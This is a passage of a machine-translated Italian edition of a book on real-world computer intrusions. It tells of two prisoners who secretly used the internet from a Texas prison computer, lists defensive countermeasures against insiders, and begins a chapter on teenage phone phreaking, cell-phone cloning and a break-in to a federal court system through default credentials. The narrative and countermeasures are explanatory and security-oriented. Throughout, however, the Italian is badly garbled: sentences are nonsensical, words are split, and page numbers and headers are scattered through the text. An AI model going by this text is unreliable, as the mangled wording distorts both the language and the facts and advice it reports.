aveva lì che avrebbero dovuto essere a conoscenza di cose come puter ERS ", dice William, " solo che non erano in grado, così hanno dovuto detenuti a farlo. " Questo libro è pieno di storie di caos e danni hacker può causare,

ma William e Danny non erano chini sul male penale. Essi si limitano a volevano migliorare le loro crescenti competenze informatiche e tenersi intrattenuto - che in loro situazione non è affatto difficile da sottostimare stare in piedi. E 'importante per William che la gente apprezza la distinzione. *Non abbiamo mai fatto abusarne o male a nessuno. Non abbiamo mai fatto. Voglio dire da il mio punto di vista, ho ritenuto necessario per imparare quello che volevo imparare così ho potuto andare dritto e avere successo, una volta sono stato rilasciato.* Mentre i funzionari della prigione del Texas sono rimasti all'oscuro di ciò che è stato in corso, sono stati fortunati che William e Danny avevano motivazioni benigni. Immaginate cosa caos i due potrebbero aver causato; sarebbe stato il figlio di giocare per questi ragazzi a sviluppare un sistema per ottenere denaro o beni da vittime ignare. Internet era diventato la loro università e parco giochi. Imparare a eseguire truffe contro le persone o rompere per siti aziendali sarebbe stato un gioco da ragazzi; adolescenti e preadolescenti imparano questi Metodi di tutti i giorni dai siti pirata e altrove sul Web. E come prigionieri, Danny e William hanno avuto tutto il tempo del mondo. Forse c'è una lezione: Due assassini condannati, ma che non ha fatto significa che erano feccia, marcio fino al midollo. Erano imbrogliatori che hacked la loro strada su Internet illegalmente, ma questo non significava che erano volontà-ing vittimizzare aziende insicuri persone innocenti o ingenuamente.

Capitolo 3 Il Texas Prison Hack

57

Close Call

I due hacker neofiti non hanno lasciato la distrazione di piacere Intrattenimento Internet lento il loro apprendimento, però. "Sono stato in grado di ottenere i libri che volevo dalla mia famiglia ", dice William, che si sentiva la sua scappatelle erano una forma di formazione pratica assolutamente necessaria. "Volevo comprensione dei complessi di una rete TCP / IP. Avevo bisogno che tipo di conoscenza per quando sono uscito. "

Era una formazione, ma è stato divertente, anche - sai cosa sto dicendo? E 'stato divertente, perché io sono una personalità di tipo A - mi piace vivere al limite. Ed è stato un modo per snobbare il nostro naso "il man. "Perché erano all'oscuro.

Oltre al lato serio e il lato divertente del loro utilizzo di Internet, Danny e William anche avuto un paio di calci di socializzare. Hanno cominciato elettronica amicizie con alcune signore, li riuniti a chat room e la comunicazione via e-mail. Con pochi, hanno riconosciuto che erano in carcere; con la maggior parte, hanno trascurato di menzionare il fatto. Nessuna sorpresa. Vivere ai margini può essere stimolante, ma comporta sempre un rischio terribile. William e Danny non potrebbe mai smettere di guardare sopra le loro spalle. "Una volta ci siamo avvicinati a essere scoperti," William ricordò. "One degli ufficiali non ci è piaciuto perché era vero paranoico. Non ci è piaciuto per essere in linea mentre stava lavorando. "

Questo particolare guardia chiamato il commissario un giorno e ha trovato la linea continuamente occupato. "Che cosa ha fatto lui fuori di testa era che uno degli altri ragazzi che lavorano in cucina avevano iniziato una relazione con un infermiere in clinica prigione ". La guardia sospettava che il prigioniero, George, stava legando la linea con una chiamata non autorizzato alla sua fidanzata infermiera. In realtà, la linea telefonica era legato perché William è stato l'uso di Internet. Il

guardia corse al commissario. "Abbiamo potuto sentire la chiave nella porta, così sapevamo che qualcuno stava arrivando. Noi chiudiamo tutto. "

Quando la guardia è arrivata, William stava entrando rapporti sul computer come Danny innocentemente guardato. La guardia ha chiesto di sapere perché il linea telefonica era stato occupato per tanto tempo. William era pronto per lui e snocciolò una storia circa la necessità di effettuare una chiamata per ottenere informazioni per la relazione a cui stava lavorando.

Non avremmo potuto ottenuto una linea esterna da là dietro, e lui lo sapeva, ma questo ragazzo era solo super-paranoico. Pensava che in qualche modo avevamo aiutato George chiama la sua fidanzata.

L'arte dell'intrusione

58

Che ha creduto la storia di William o no, senza prove la guardia non ha potuto far nulla. George sposò l'infermiera; quanto William sa, è ancora in carcere e ancora felicemente sposato.

Crescendo

Come fa un giovane come William - un bambino da una casa stabile con car-Ing, genitori di supporto - Terreno in prigione? "Mia crescita è stata eccellente, uomo. Ero uno studente C, ma molto intelligente. Mai giocato a calcio e tutto il resto roba, ma non ha mai avuto nei guai finché non sono andato al college. "

Essendo cresciuto battista del Sud non è stata un'esperienza positiva per William.

Oggi, si sente che la religione tradizionale può danneggiare auto di un giovane autostima. "Sai, l'insegnamento che sei inutile dal get-go." Lui

attributi sue scelte sbagliate in parte al fatto che egli era diventato convinto che non poteva avere successo. "Sai, ho dovuto avere il mio rispetto di sé e autostima da qualche parte e ho guadagnato da persone che mi temono. "

Uno studente di filosofia, William capito cosa Friedrich Nietzsche intende per "metamorfosi dello spirito":

Non so se hai mai letto alcun Nietzsche, ma ha parlato della cammello, il leone, e il bambino. Ed ero davvero un cammello - l'ho fatto quello che pensavo sarebbe rendere felici le persone di acquisire autostima da la gente mi piaceva, e non mi piaceva me stesso e il trasporto io per conto mio merito.

Nonostante questo, William ha fatto attraverso il liceo con un immacolato record. I suoi problemi sono iniziati dopo si iscrive in un junior college in Zona di Houston, poi trasferita in una scuola in Louisiana per studiare aviazione.

L'istinto di piacere agli altri trasformato in un bisogno di rispetto.

Ho visto che potevo fare soldi vendendo ecstasy e roba. Persone me temuto perche 'ero sempre armato e sarebbe sempre combattere, e si sa, basta vivere la vita come un idiota. E poi mi sono preso in una situazione di un affare di droga andato male.

Lui e il suo cliente ha finito per rotolare in giro, in lotta per il controllo.

L'altro compagno del ragazzo si presentò; era due contro uno, e William sapeva di dover fare qualcosa di disperato o che non avrebbe mai a piedi da lì. Tirò fuori la pistola e sparò. E l'uomo era morto.

Come fa un ragazzo di una famiglia forte e stabile affrontare questa dura realtà? Come egli condivide la terribile notizia?

Una delle cose più difficili della mia vita a fare era dire a mia madre che L'ho fatto. Sì, è stato molto difficile.

William ha avuto un sacco di tempo per pensare a quello che lo ha atterrato in carcere. Lui non incolpare nessuno, ma se stesso. "Sai, era solo le scelte che fatto perché la mia autostima è stato distrutto. E non c'era niente che i miei genitori hanno fatto perché mi hanno portato il modo in cui hanno pensato dovrebbero. "

Per Danny, tutto è andato storto in una sola notte.

Ero solo un ragazzino stupido. La notte del mio diciottesimo compleanno, si mi ha dato una grande festa. Sulla strada di casa, un paio di ragazze bisogno di usare il bagno, così ho tirato fuori in un ristorante.

Quando uscirono, avevano un paio di ragazzi seguendoli e molesto. Abbiamo accatastati fuori dalla macchina e c'era un grande combatto, e prima di tutto era finito, mi sono imbattuto su uno di essi.

E poi ho presa dal panico e abbiamo guidato fuori. Ho lasciato la scena.

E 'stata la sindrome di Richard Nixon / Martha Stewart al lavoro: non essere disposti a farsi avanti e assumersi la responsabilità per la sua azione. Se Dan Non aveva spinto fuori, la carica sarebbe probabilmente stato omicidio colposo.

Lasciando la scena aggravato l'errore, e una volta che è stato rintracciato giù e arrestato, era troppo tardi per chiunque a credere che potrebbe avere stato accidentale.

Indietro nel Mondo Libero

William era un quarto del modo attraverso una condanna a 30 anni, ma lui non stava avendo alcun successo nelle sue visite annuali dinanzi alla commissione libertà vigilata.

Il suo talento per aver preso l'iniziativa di nuovo è venuto alla ribalta. Ha iniziato scritta ing lettere al bordo di parole, una lettera ogni due settimane, con copie indirizzata individualmente a ciascuno dei tre membri del consiglio. Le lettere dettagliate come costruttivo si stava comportando: «Quali corsi stavo prendendo, il gradi mi è stato sempre, i libri di informatica che stavo leggendo, e così via, " mostrando loro che "Non sono frivola e non sto sprecando il mio tempo."

Egli dice: "Uno dei membri ha detto mia madre, 'ho avuto più la posta da lui che i miei sei figli combinato "'Ha funzionato:'. La teneva per quasi un anno e la sua prossima apparizione prima del consiglio, lo hanno firmato fuori.

Danny, su un periodo più breve, è stato rilasciato circa lo stesso tempo.

Da quando ha lasciato carcere, sia William e Danny vivono ferocemente determinato a stare lontano dai guai, lavorando i lavori informatici con competenze acquisite durante gli anni "dentro". Mentre ogni presero corsi tecnologia di livello universitario in carcere, entrambi credono che la loro esperienza hands-on, pericolosa anche se era, ha dato loro le competenze avanzate che ora dipendono per la loro vita.

L'arte dell'intrusione

Danny ha guadagnato 64 ore di credito universitario in carcere, e anche se è caduto a corto di guadagnare eventuali certificazioni professionali, ora funziona con alta alimentati, applicazioni critiche, tra cui Access e SAP.

Prima di carcere, William ha completato il suo primo anno al college ed è stato un sophomore, con i suoi genitori che lo sosteneva. Una volta uscito, è stato in grado di continuare la sua educazione. "Ho fatto domanda per aiuti finanziari e preso e

è andato a scuola. Ho diritto di A e anche lavorato nel com- della scuola centro di calcolo. "

Ora ha due gradi del socio - in arti liberali e com- rete computer di manutenzione - sia pagato da aiuti finanziari. Nonostante i due gradi, William non hanno avuto abbastanza fortuna di Danny in atterraggio un com-computer di lavoro. Così ha preso quello che poteva trovare, accettando una posizione che coinvolge

lavoro fisico. Accreditarla la sua determinazione e del suo datore di lavoro open-minded atteggiamento: non appena l'azienda ha riconosciuto le sue competenze informatiche, è stato tirato al largo delle attività fisiche e messi al lavoro in un lavoro che fa un uso migliore della sua qualifiche tecniche. E 'informatica aziendale di routine, non la rete progettazione avrebbe preferito fare, ma soddisfa quel bisogno spendendo tempo durante il fine settimana per capire modi a basso costo della rete del com-sistemi informatici per due chiese Houston-zona, come volontario.

Questi due uomini stanno come eccezioni. In uno dei più urgenti e sfide meno discussi della società americana contemporanea, la maggior parte dei criminali scarcerato affrontare un ostacolo quasi impossibile di trovare un lavoro, cialmente cialmente qualsiasi lavoro che paga abbastanza per sostenere una famiglia che non è difficile da capire: come molti datori di lavoro possono essere sicuri circa l'idea di hiring un assassino, un rapinatore armato, uno stupratore? In molti Stati sono inelible per il benessere, lasciando pochi modi di sostenersi mentre continuando la ricerca quasi disperata per il lavoro. Le loro opzioni sono gravemente limitati - e poi ci chiediamo perché così tanti tornare rapidamente in prigione, e assumere deve essere che non hanno la volontà di vivere secondo le regole.

Oggi, William ha qualche consiglio solido per i giovani e i loro genitori:

Non credo che ci sia una cosa che si può dire a un ragazzo per farli cambiare, non per avere un valore in sé, è conoscere, e non prendere il breve tratto di strada, perché 'la lunga strada sempre sembra essere la più soddisfacente alla fine. E si sa, mai sedersi stagnanti perché non ti senti che sei degno di fare che cosa dovete fare.

Danny sarebbe senza dubbio anche d'accordo con queste parole di William di:

Io non cambierei la mia vita ora nothin 'sulla terra. Sono venuto a credo di poter guadagnare la mia strada nella vita per mio merito e non

Capitolo 3 Il Texas Prison Hack

61

prendere scorciatoie. Nel corso degli anni ho imparato che avrei potuto avere persone il rispetto di me sul mio merito. Questo è quello che cerco di vivere oggi.

Io

Nsight

Questa storia chiarisce che molti attacchi informatici non possono essere protetti contro semplicemente garantire il perimetro. Quando il cattivo non è un adolescente hacker o computer abile ladro, ma un insider - un scontento dipendente, un ex operaio amaro recentemente licenziato, o, come in questo caso, un po ' altro tipo di addetti ai lavori come William e Danny.

Addetti ai lavori spesso rappresentano una minaccia maggiore di attaccanti leggiamo in i giornali. Mentre la maggior parte dei controlli di sicurezza si concentrano su protezione del perimetro contro l'attaccante esterno, è l'insider che ha accesso alle apparecchiature fisica ed elettronica, cablaggio, chiu- telefono

ETS, workstation e connettori di rete. Sanno anche che nell'organizzazione gestisce informazioni sensibili e quali i sistemi informatici le informazioni sono memorizzate su, così come il modo di bypassare i controlli messi in atto a ridurre i furti e le frodi.

Un altro aspetto della loro storia mi ricorda il film di *Shawshank Redemption*. In esso, un prigioniero di nome Andy è un CPA. Alcune delle guardie hanno a preparare le loro dichiarazioni dei redditi e dà loro consigli sui migliori modi di strutturare le loro finanze a limitare la responsabilità fiscale. Pacità di Andy legami diventano ampiamente conosciuti tra il personale carcerario; portando a più libromantenendo il lavoro a livelli più alti nella prigione, finché alla fine lui è in grado di esporre il Warden, che è stato "cucinando" i libri. Non solo in un carcere ma ovunque, tutti abbiamo bisogno di essere attento e discreto su quali diamo informazioni sensibili a.

Nel mio caso, il maresciallo di servizio degli Stati Uniti ha creato un livello elevato di paranoia sulla mie capacità. Hanno messo un avvertimento nel mio file cautela funzionari della prigione mento non divulgare alcuna informazione personale per me - nemmeno darmi i loro nomi, in quanto ritenevano una voce selvaggia che io potrebbe attingere pletora del governo di banche dati segrete e cancelli l'identità di chiunque, anche un maresciallo federale. Credo che avevano visto "The Net" una volta di troppo.

C

COUNTERMEASURES

Tra le più significative controlli di sicurezza che può essere efficace nel preventilazione e individuare gli abusi insider sono questi:

. **Responsabilità** Due pratiche comuni sollevano problemi di responsabilità: il uso dei cosiddetti *conti basati sui ruoli* - conti condiviso da più gli utenti; e la pratica di condivisione delle informazioni di account o password
L'arte dell'intrusione

62

per consentire l'accesso quando un dipendente è fuori ufficio o indisponibile grado. Entrambi creare un ambiente di negazione plausibile quando le cose vanno male sul serio.

Molto semplicemente, le informazioni conto condivisione dovrebbe essere scoraggiato se non del tutto vietata. Questo include permettendo un lavoratore a usare il suo / la sua postazione di lavoro, quando questo è necessario fornire sign-on informazioni.

Obiettivo-ricco ambiente. Nella maggior parte delle aziende, un attaccante che può trovare il modo di entrare nelle aree di lavoro della struttura può facilmente trovare un modo per ottenere l'accesso ai sistemi. Pochi lavoratori bloccano la loro computer quando si lascia loro area di lavoro o uso screensaver o start-up le password. Ci vogliono solo pochi secondi per un malintenzionato di installare software di monitoraggio dello stealth su una workstation non protetta. In un banca, cassieri bloccare sempre il loro cassetto dei contanti prima di allontanarsi. Purtroppo, è raro vedere questa pratica in uso in altri tipi di istituzioni.

Considerare l'attuazione di una politica che richiede l'utilizzo di un screening Password saver o altri programmi per bloccare elettronicamente la macchina. Assicurarsi che il reparto IT applica questa politica attraverso la gestione della configurazione.

Gestione delle password. La mia ragazza è stato recentemente impiegato da una Fortune 50 società che utilizza un modello prevedibile nell'assegnare le password per esterno basato sul Web l'accesso intranet: il nome dell'utente seguito da un numero casuale a tre cifre. È impostata Questa password quando la persona è assunto e non può mai essere cambiata dal dipendente. Questo rende possibile per qualsiasi dipendente per scrivere semplice script che possono determinare la password in non più di 1.000 tentativi - giro di pochi secondi.

Le password per i dipendenti, sia impostato dalla società o selezionato da dipendenti, non devono avere un modello che li rende facilmente prevedibile.

L'accesso fisico. dipendenti qualificato familiare con la com-
rete di società può facilmente utilizzare il loro accesso fisico al compromesso sistemi quando nessuno è intorno. Ad un certo punto ero un dipendente di GTE della California, la società di telecomunicazioni. Avere accesso fisico all'edificio era come avere le chiavi della regno - tutto era spalancata. Chiunque poteva camminare fino a una postazione di lavoro in cabina di un dipendente o di ufficio e ottenere l'accesso a sistemi sensibili.

Se i dipendenti sarebbero adeguatamente proteggere i loro desktop, workstation, portatili e dispositivi PDA, utilizzando le password del BIOS e sicure logout, o bloccare il loro computer, il cattivo all'interno avrà bisogno di più tempo per raggiungere i suoi obiettivi.

Capitolo 3 Il Texas Prison Hack

63

Dipendenti Train sentirsi a proprio agio le persone difficili cui identità è incerta, soprattutto nelle aree sensibili. Utilizzare rezza fisica Controlli rezza come macchine fotografiche e / o sistemi di accesso distintivo per il controllo ingresso, la sorveglianza, e il movimento all'interno della struttura. Considerare verificando periodicamente i registri di entrata e di uscita fisici per identificare insolito modelli di comportamento, soprattutto quando un incidente di sicurezza si pone.

cubicoli "morto" e altri punti di accesso. Quando un dipendente lascia la società o viene trasferito in una posizione diversa, lasciando un box vuoto, un insider dannoso in grado di connettersi tramite rete diretta prese di lavoro nella cabina di sondare la rete, proteggendo la / sua identità. O peggio, una stazione di lavoro rimane spesso dietro in cubicolo, collegato alla rete di pronto da usare per chiunque, tra cui l'insider maligni (e, così, qualsiasi non autorizzato visitatore che scopre il box abbandonati).

Altri punti di accesso in luoghi come sale conferenze offrono anche facile accesso alla insider intenzionato a fare danni.

Considerare disabilitando tutte le prese di rete non utilizzate per impedire anonimo o accesso non autorizzato. Assicurarsi che tutti i sistemi di computer in box vacanti sono protetti contro l'accesso non autorizzato.

Il personale in uscita. Ogni lavoratore che abbia dato disdetta dovrebbe essere considerato un rischio potenziale. Tali dipendenti devono essere monitorati per qualsiasi accesso alle informazioni aziendali riservate, in particolare la copia o il download di una quantità significativa di dati. Con piccole unità flash USB ora prontamente disponibili che può contenere un

gigabyte o più di dati, può essere una questione di minuti per caricare grandi quantità di informazioni sensibili e di uscire dalla porta con esso.

Dovrebbe essere una pratica di routine di mettere restrizioni sul un dipendente del l'accesso prima della sua / suo essere notificata una terminazione, retrocessione, o il trasferimento indesiderabile. Inoltre, considerare il controllo del dipendente utilizzo del computer per determinare qualsiasi non autorizzata o potenzialmente attività nocive.

L'installazione di hardware non autorizzato. L'insider dannoso può accedere facilmente cubicolo di un altro dipendente e installare hardware o software battitura logger per catturare password e altri riservati informazioni ziale. Anche in questo caso, un flash drive rende il furto di dati facile. La politica di sicurezza che vieta qualsiasi introduzione di dispositivi hardware senza il permesso scritto, mentre giustificato in alcuni casi, è certamente difficile alla polizia; dipendenti benigne saranno inconvenienced, mentre i maligni hanno alcun incentivo per l'attenzione alla regola.

L'arte dell'intrusione

64

In alcune organizzazioni che lavorano con formazioni estremamente sensibile zioni, la rimozione o la disabilitazione la porta USB sulle workstation potrebbe essere un controllo necessaria.

Ispezioni walk-around dovrebbero essere condotte regolarmente. In particolare, questi controlli dovrebbero verificare che le macchine non hanno avuto improprie dispositivi wireless tuzioni, hardware keystroke logger o modem allegata, e che nessun software è stato installato eccezione dei casi.

Sicurezza o personale IT possono controllare per l'accesso wireless non autorizzato punti nelle immediate vicinanze utilizzando un PDA che supporta 802.11, o anche un computer portatile dotato di Microsoft XP e wiremeno carta. Microsoft XP è dotato di un programma di utilità zero configurazione che si apre una finestra di dialogo quando rileva un punto di accesso wireless in immediate vicinanze.

Aggira processi. Come dipendenti conoscere business critical processi all'interno dell'organizzazione, sono in una buona posizione per identificare eventuali punti deboli con i pesi e contrappesi utilizzati per rilevare frode o furto. Un operaio disonesto è in grado di rubare o causa altri danni significativi in base alla loro conoscenza di come il business opera. Addetti ai lavori di solito hanno libero accesso agli uffici, il file cabinet reti, sistemi di posta interni, e avere la conoscenza del giorno-to-procedure aziendali giorno.

Considerare analisi dei processi aziendali sensibili e critici individuare eventuali carenze così contromisure possono essere attuate. In certe situazioni, sviluppando separazione dei compiti in requisito il processo, dove un'operazione delicata eseguita da una persona è controllato in modo indipendente da un altro, in grado di ridurre il rischio per la sicurezza.

On-site politiche visitatori. Stabilire una politica di sicurezza per visi- fuori tori, compresi i lavoratori da altre sedi. Un efficace controllo di sicurezza è quello di obbligare i visitatori per presentare State-emesso l'identificazione prima di poter essere nella struttura, e la registrazione

le informazioni in un registro di protezione. Se dovesse nascere qualche incidente di sicurezza, può essere possibile identificare l'autore del reato.

Inventario Software e auditing. Mantenere un inventario di tutti i software autorizzato installato o concesso in licenza per ogni sistema e periodicamente controllare questi sistemi per la conformità. Questo processo di inventario non solo assicura la conformità legale alle norme di licenza software, ma può anche essere utilizzato per identificare qualsiasi software non autorizzato installazioni che potrebbero influenzare negativamente la sicurezza.

Installazione non autorizzata di software dannoso come giornale di bordo di battitura Gers, adware, o altri tipi di spyware sono difficili da rilevare, dipendenza ing su come intelligente gli sviluppatori erano a nascondere il programma all'interno del sistema operativo.

Capitolo 3 Il Texas Prison Hack

65

Pagina 87

Considerare l'utilizzo di terze parti software commerciale per identificare questi tipi maligni di programmi, come il seguente:

- SpyCop (disponibile presso www.spycop.com)
- PestPatrol (disponibile presso www.pestpatrol.com)
- Adware (disponibile presso www.lavasoftusa.com)

Sistemi di controllo per l'integrità del software. Dipendenti o insid- dannoso ERS potrebbe sostituire i file o le applicazioni del sistema operativo critiche che potrebbe essere utilizzato da controlli di sicurezza bypass. In questa storia, il detenuto gli hacker avevano cambiato il PC Anywhere applicazione per funzionare senza visualizzare un'icona nella barra delle applicazioni in modo da non essere rilevati. I funzionari della prigione di questa storia non sono resi conto che ogni loro mossa è stato periodicamente monitorato mentre Danny e William virtualmente guardato sopra le loro spalle.

In alcune circostanze, può essere opportuno effettuare un verifica integrità, e di utilizzare un'applicazione di terze parti che notifica la personale adeguato quando vengono apportate modifiche ai file di sistema e applicazioni sulla "lista di controllo".

Privilegi eccessivi. In ambienti basati su Windows, molti finale gli utenti sono connessi in account con diritti di amministratore locale su proprie macchine. Questa pratica, mentre più comoda, rende molto facile per un insider scontento per installare un keystroke logger o monitoraggio (sniffer) su tutti i sistemi di rete dove ha locale privilegi di amministratore. Aggressori remoti possono anche inviare dannoso programmi nascosti all'interno di un allegato di e-mail che possono essere aperte da parte dell'utente ignaro. La minaccia rappresentata da questi allegati può essere minimizzato utilizzando la regola "minimo privilegio", che significa che gli utenti ei programmi dovrebbero eseguire con i privilegi minor numero necessario per eseguire i loro compiti richiesti.

T

HE

B

OTTOM

L

INE

In alcune situazioni, il buon senso impone che la sicurezza elaborate pre-

precauzioni sono una perdita di tempo. In una scuola militare, per esempio, si farebbe
Non aspettatevi il corpo studentesco per essere riempito con le persone in cerca di ogni
possibile occasione per imbrogliare o sfidare le regole. In un elementare
scuola, non vi aspettereste di dieci anni per essere più informati
sulla sicurezza informatica che il guru della tecnologia personale.

E in una prigione, non ci si aspetterebbe che i detenuti, strettamente sorvegliati,
vivere sotto un insieme di regole rigide, avrebbe trovato i mezzi non solo per lavorare
la loro strada su Internet, ma poi a passare ore alla volta, giorno dopo

L'arte dell'intrusione

66

Pagina 88

giorno, godersi la musica, i film, le comunicazioni con il sesso opposto, e
imparare sempre di più sui computer.

La morale: se si sono incaricati della sicurezza delle informazioni per qualsiasi scuola,
gruppo di lavoro, società, o altro ente - si deve supporre che alcuni
avversario maligno, compreso qualcuno all'interno della vostra organizzazione - è
alla ricerca di quella piccola crepa nel muro, l'anello più debole della vostra sicurezza
catena per rompere la rete. Non date per scontato che ognuno sta per giocare
dalle regole. Fare ciò che è conveniente per prevenire potenziali intrusioni, ma
non dimenticare di continuare a cercare fuori per quello che vi siete persi. I cattivi sono
Conto su di voi per essere trascurato.

Capitolo 3 Il Texas Prison Hack

67

Pagina 89

Pagina 90

69

Capitolo 4

Cops and Robbers

*Sono entrato in questa aula piena di agenti delle forze dell'ordine e ha detto, "Do
voi ragazzi riconoscere qualcuno di questi nomi?" Ho letto fuori un elenco dei nomi. Uno
agente federale ha spiegato: "Questi sono i giudici presso la Corte Distrettuale degli Stati Uniti a
Seattle. "E io dissi:" Bene, ho un file di password qui con 26 password
incrinato. "Quei funzionari federali circa diventato verde.*

- Don Boelling, Boeing Aircraft

M

att e Costa non stavano progettando un attacco alla Boeing Aircraft;
appena scoperto che modo. Ma l'esito di questo incidente
e altri nella loro catena di attività degli hacker presentarsi come un avvertimento
ing. I due potrebbero essere i ragazzi poster in una campagna per mettere in guardia altro ragazzo
hacker troppo giovani per apprezzare le conseguenze delle loro azioni.

Costa (pronunciato "COAST-uh") Katsaniotis iniziato conoscere
computer quando ha ottenuto un Commodore Vic 20 all'età di 11 anni e ha iniziato pro-
programmazione per migliorare le prestazioni della macchina. A quella tenera età, ha
ha anche scritto un pezzo di software che ha permesso il suo amico per comporre e vedere un
elenco del contenuto del suo disco rigido. «È lì che ho iniziato con
computer e amare aspetto i what-fa-cosa-lavoro di avere una
Computer "e non solo di programmazione:. Ha sondato l'hardware,

spensierata, ha detto, di perdere le viti "perché ho iniziato prendendo

Le cose a parte, quando avevo tre anni. "

Sua madre lo mandò a una scuola privata cristiana fino all'ottavo grado e poi a una scuola pubblica. A quell'età i suoi gusti musicali si chinò verso U2 (Era il suo primo album e lui è ancora un grande fan), così come Def Leppard e "Alcune delle musiche più scuro"; nel frattempo i suoi gusti in informatica erano ampliando per includere "entrare in che cosa potrei fare con i numeri di telefono."

Un paio di ragazzi più grandi aveva imparato estensori circa 800-WATS, telefono numeri che potrebbero utilizzare per effettuare chiamate gratuite a lunga distanza. Costa amato computer e aveva una conoscenza naturale di loro.

Forse l'assenza di un padre accresciuto interesse del adolescente in un mondo dove ha goduto di un controllo completo.

Poi al liceo ho un pò preso una pausa e ho capito che cosa ragazze erano. Ma ho ancora sempre avuto la mia passione per i computer e sempre mantenuto quelli a portata di mano. Io davvero non iniziare il decollo con l'hacking fino a quando ho avuto un computer in grado di gestire e che era il Commodore 128.

Costa ha incontrato Matt - Charles Matthew Anderson - su una BBS (bulletin scheda di sistema) nella zona di stato di Washington. "Eravamo amici di credo probabilmente un anno via telefono e messaggistica su queste bacheche prima che in realtà anche incontrato. "Matt - la cui maniglia è" Cerebrum "- describe la sua infanzia come "abbastanza normale". Suo padre era un ingegnere Boeing e aveva un computer a casa che Matt è stato permesso di usare. È facile immaginare il padre così a disagio con le preferenze del ragazzo in musica ("industriale e alcune delle cose più scuro"), che ha trascurato quello il percorso pericoloso Matt stava seguendo sul computer.

Ho iniziato a imparare a programmare di base quando avevo circa nove anni. Ho trascorso la maggior parte della mia adolescenza entrare in grafica e musica sul computer. Questo è uno dei motivi che mi piace ancora computer oggi - l'hacking su quella roba multimediale è davvero divertente.

Ho preso l'roba di hacking nel mio ultimo anno al liceo, entrare nel lato phreaking di essa, imparare a prendere vantaggiosa tage della rete telefonica che è stato utilizzato dai docenti e agli amministratori di effettuare chiamate a lunga distanza. Ero pesantemente in che nei miei anni di scuola superiore.

Matt finito il liceo tra i primi 10 nella sua classe, è entrato nella University of Washington, e apprende su eredità di calcolo: mainframe. Al college, con un account legittimo su un Unix la macchina, ha iniziato a insegnare se stesso su Unix per la prima volta, "con l'aiuto dei BBS e siti web sotterranei. "

Phreaking

Dopo sono diventati una squadra, sembrava che Matt e Costa conducevano l'altro nella direzione sbagliata, la strada della pirateria nel sistema telefonico, cosiddetta attività di "phreaking". Una notte, Costa ricorda, i due andarono in una spedizione che gli hacker chiamano "cassonetto L'arte dell'intrusione

immersioni, "purga attraverso la spazzatura lasciata fuori dai ripetitori della cella compagnie telefoniche. "Nella spazzatura tra fondi di caffè e altro roba puzzolente, abbiamo ottenuto una lista di ogni torre e ogni numero di telefono "- il numero di telefono e il numero di serie elettronico, o ESN, che è un unico identificativo assegnato a ogni telefono cellulare. Come una coppia di gemelli ricordare un evento dall'infanzia condivisa, Matt carillon in: "Questi erano i numeri di prova che i tecnici avrebbero usato per testare i punti di forza del segnale. Avrebbero telefoni cellulari speciali che sarebbe unico per quella torre. "

I ragazzi hanno acquistato OKI 900 celle di telefono e un dispositivo per bruciare nuova programmazione sui chip di computer nei telefoni. Hanno fatto più di basta programmare nuovi numeri; mentre erano a lui, hanno anche installato un speciale aggiornamento del firmware che ha permesso loro di programmare qualsiasi telefono desiderato

numero e numero ESN in ciascuno dei telefoni. Programmando la telefoni ai numeri speciali di test che avevano trovato, i due erano For- ing si servizio di telefonia cellulare gratuito. "L'utente sceglie quale numero vuole usare per effettuare una chiamata. Se dovessimo potevamo passare attraverso a un altro numero reale veloce, "Costa ha detto.

(Questo è quello che io chiamo "il Kevin Mitnick piano di telefono cellulare" - azzerare un mese, azzerare un minuto, ma si può finire per pagare un prezzo pesante in fine, se sai cosa voglio dire.)

Con questa riprogrammazione, Matt e Costa potrebbero fare la cella telefonate che volevano, in qualsiasi parte del mondo; se sono stati registrati i richiami a tutti, avrebbero continuato a libri come attività ufficiale della cella società. Nessun spese, nessuna domanda. Proprio come ogni phreaker telefono o di hacker piace.

Entrare in Corte

Atterraggio in tribunale è l'ultima cosa qualsiasi hacker vuole fare, che ne so fin troppo bene. Costa e Matt ottenuto in tribunale all'inizio della loro pirateria insieme, ma in un senso diverso.

Oltre dumpster diving e telefono phreaking, i due amici avrebbero spesso impostare la loro composizione computer di guerra, alla ricerca di modem dial-up, che potrebbe essere collegato a sistemi informatici che potrebbero penetrare. Potevano tra loro il check out fino a 1200 numeri di telefono in una notte. Con le loro macchine di composizione non-stop, potrebbero correre attraverso un intero telefono prefisso in due o tre giorni. Quando tornarono alle loro macchine, il com-registri informatici avrebbero mostrato risposte quali numeri di telefono che avevano ottenuto da. "Stavo correndo mio wardialer per la scansione di un prefisso a Seattle, 206-553," Matt ha detto. "Tutti i numeri di telefono appartengono alle agenzie federali di qualche tipo o un altro. Quindi, solo che prefisso telefonico era un obiettivo caldo perché è dove si troverebbero i computer del governo federale ". In realtà, avevano senza un motivo particolare per verificare le agenzie governative.

Capitolo 4 Cops and Robbers

71

Costa: eravamo bambini. Non avevamo piano generale.

Matt: Quello che fai è semplicemente un pò buttare la rete nel mare e vedere che tipo di pesce che si torni con.

Costa: Era più di un "Che cosa possiamo fare stasera" cosa tipo, "Cosa possiamo scansionare stasera?"

Costa guardò la sua guerra log dialer un giorno e ha visto che il programma era composto in un computer che ha restituito uno striscione leggere qualcosa di simile ". US District Courthouse" E 'anche detto: "Questa è proprietà federale", ha pensò: "Questo sembra succosa."

Ma come entrare nel sistema? Hanno ancora bisogno di un nome utente e una password word. "Penso che sia stato Matt che indovinato", dice Costa. La risposta è stata troppo facile: Nome utente: "public." Password: ". pubblico" Vi era quindi "questo davvero forte, bandiera scary "sul sito di essere di proprietà federale, ancora sicurezza reale blocco della porta.

"Una volta eravamo nel loro sistema, abbiamo ottenuto il file delle password", dice Matt.

Sono facilmente ottenuto i giudici sign-on nomi e le password. "Giudici sarebbe in realtà rivedere informazioni docket su quel sistema giudiziario e potrebbe guardare informazioni giuria o guardare case history. "

Percependo il rischio, Matt dice: "Non abbiamo esplorare troppo nel cortile."

Almeno, non per il momento.

Gli ospiti dell'Hotel

Nel frattempo, i ragazzi erano impegnati in altri settori. "Una delle cose che abbiamo anche compromesso era una cooperativa di credito. Matt ha scoperto un modello nel mero bri per i loro codici che ha reso facile per noi fare telefonate "a spese dell'associazione. Avevano anche in programma di entrare nel computer sistema del Dipartimento di veicoli a motore "e vedere che tipo di guidatore licenze di ver e cose che potevamo fare ".

Hanno continuato ad affinare le proprie competenze e penetrare nei computer. "Noi erano in un sacco di computer in città. Eravamo in concessionarie auto.

